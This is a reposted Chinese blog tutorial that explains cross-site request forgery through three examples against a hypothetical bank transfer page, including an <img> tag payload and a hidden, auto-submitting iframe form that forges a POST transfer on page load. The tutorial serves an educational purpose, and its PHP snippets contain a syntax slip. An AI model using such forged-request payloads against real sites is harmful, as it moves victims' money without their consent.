美文网首页中国蓝
CSRF攻击示例

CSRF攻击示例

作者: 陈望_ning | 来源:发表于2019-01-04 09:38 被阅读0次

    转自:http://www.cnblogs.com/hyddd/

    示例1:

    银行网站A,它以GET请求来完成银行转账的操作,如:

    http://www.mybank.com/Transfer.php?toBankId=11&money=1000
    

    危险网站B,它里面有一段HTML的代码如下:

      <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
    

    首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......

    为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中 的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏 览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com /Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账 操作),所以就立刻进行转账操作......

    示例2:

    为了杜绝上面的问题,银行决定改用POST请求完成转账操作。

    银行网站A的WEB表单如下:

    <form action="Transfer.php" method="POST">  
          <p>ToBankId: <input type="text" name="toBankId" /></p>
          <p>Money: <input type="text" name="money" /></p> 
          <p><input type="submit" value="Transfer" /></p>    
    </form>  
    

    后台处理页面Transfer.php如下:

    <?php
        session_start();
        if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
        {
            buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
        }
      ?>
    

    危险网站B,仍然只是包含那句HTML代码:

      <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
    

    和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的 原因是:银行后台使用了_REQUEST去获取请求的数据,而_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成 了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用_GET和_POST分别获取GET请求和POST 请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

    示例3:

    经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:

      <?php
        session_start();
        if (isset($_POST['toBankId'] && isset($_POST['money']))
        {
            buy_stocks($_POST['toBankId'], $_POST['money']);
        }
      ?>  
    

    然而,危险网站B与时俱进,它改了一下代码:

    <html>    
      <head>      
        <script type="text/javascript">        
        function steal()
          {
                   iframe = document.frames["steal"];
                   iframe.document.Submit("transfer");
          }     
        </script>    
      </head> 
      <body onload="steal()">      
        <iframe name="steal" display="none">        
          <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php"> 
            <input type="hidden" name="toBankId" value="11"> 
            <input type="hidden" name="money" value="1000"> 
          </form>      
        </iframe>    
      </body>  
    </html>  
    

    如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!

    总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一 个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了 CSRF攻击,后果都有可能很严重。

    理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的

    相关文章

      网友评论

        本文标题:CSRF攻击示例

        本文链接:https://www.haomeiwen.com/subject/hnthrqtx.html